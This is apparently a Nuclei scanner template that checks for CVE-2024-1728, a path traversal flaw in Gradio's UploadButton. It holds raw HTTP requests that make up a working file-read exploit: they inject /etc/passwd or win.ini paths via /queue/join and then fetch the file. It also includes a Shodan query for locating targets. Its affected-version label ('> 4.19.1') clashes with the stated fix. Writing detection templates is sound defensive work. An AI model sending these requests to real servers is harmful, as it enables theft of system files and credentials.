74 lines
2.5 KiB
YAML
74 lines
2.5 KiB
YAML
id: CVE-2024-1728
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info:
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name: Gradio > 4.19.1 UploadButton - Path Traversal
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author: isacaya
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severity: high
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description: |
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gradio-app/gradio is vulnerable to a local file inclusion vulnerability due to improper validation of user-supplied input in the UploadButton component.
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impact: |
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Attackers can exploit this vulnerability to read arbitrary files on the filesystem, such as private SSH keys, by manipulating the file path in the request to the `/queue/join` endpoint. This issue could potentially lead to remote code execution. The vulnerability is present in the handling of file upload paths, allowing attackers to redirect file uploads to unintended locations on the server.
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remediation: |
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Update to version 4.19.2.
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reference:
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- https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7
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- https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a
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- https://nvd.nist.gov/vuln/detail/CVE-2024-1728
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2024-1728
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cwe-id: CWE-22
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epss-score: 0.00044
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epss-percentile: 0.10164
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metadata:
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max-request: 5
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verified: true
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vendor: gradio
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product: gradio
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shodan-query: html:"__gradio_mode__"
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tags: cve,cve2024,lfi,gradio,intrusive
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http:
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- raw:
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- |
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POST /queue/join? HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"data":[[{"path":"{{path}}","url":"{{BaseURL}}/file=/help","orig_name":"CHANGELOG.md","size":3549,"mime_type":"text/markdown"}]],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"{{randstr}}"}
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- |
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GET /queue/data?session_hash={{randstr}} HTTP/1.1
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Host: {{Hostname}}
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- |
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GET /file={{extracted_path}} HTTP/1.1
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Host: {{Hostname}}
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extractors:
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- type: regex
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name: extracted_path
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regex:
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- "/tmp/gradio/.*/passwd"
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- "C:.*\\win\\.ini"
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internal: true
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payloads:
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path:
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- /etc/passwd
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- /windows/win.ini
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- "\\[(font|extension|file)s\\]"
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condition: or
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502200f825f20fad4b54e4c1edb052482ff3d57c02b63e05a9cf6227b37d39ebee112022100b36cc92a5b2685c8da867167fa0fdc31e99e6d9d6a461ff14467d518c3904dc2:922c64590222798bb761d5b6d8e72950 |